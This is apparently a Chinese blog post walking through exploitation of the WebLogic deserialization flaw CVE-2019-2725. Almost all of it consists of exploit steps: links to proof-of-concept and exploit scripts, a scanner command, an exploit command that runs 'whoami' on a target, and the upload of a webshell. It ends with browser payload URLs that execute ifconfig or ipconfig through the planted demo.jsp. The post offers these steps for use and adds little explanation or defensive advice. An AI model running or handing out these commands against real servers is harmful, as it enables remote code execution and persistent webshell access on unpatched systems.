weblogic漏洞系列

最新推荐文章于 2024-08-10 08:38:11 发布

古月哥欠米分

最新推荐文章于 2024-08-10 08:38:11 发布

阅读量710

点赞数

分类专栏： Web安全文章标签： weblogic 安全经验分享

本文链接：https://blog.csdn.net/weixin_45180264/article/details/106167982

版权

Web安全专栏收录该内容

1 篇文章 0 订阅

订阅专栏

漏洞验证

POC下载：https://github.com/TopScrew/CVE-2019-2725
路径kali：/POCandEXP
进入脚本目录：cd /POCandEXP/weblogic/POC
命令：python3 WeblogicScan.py 1.1.1.14 7001

CVE-2019-2725

EXP下载：https://github.com/TopScrew/CVE-2019-2725
安装所需环境：sudo pip3 install logzero

命令回显

命令：python3 weblogic-2019-2725.py 10.3.6 http://1.1.1.14:7001 whoami

webshell上传

命令：python3 weblogic-2019-2725.py 10.3.6 http://1.1.1.14:7001
浏览器输入payload：http://1.1.1.14:7001/bea_wls_internal/demo.jsp?pwd=admin&cmd=ifconfig
windows服务器payload：http://1.1.1.14:7001/bea_wls_internal/demo.jsp?pwd=admin&cmd=ipconfig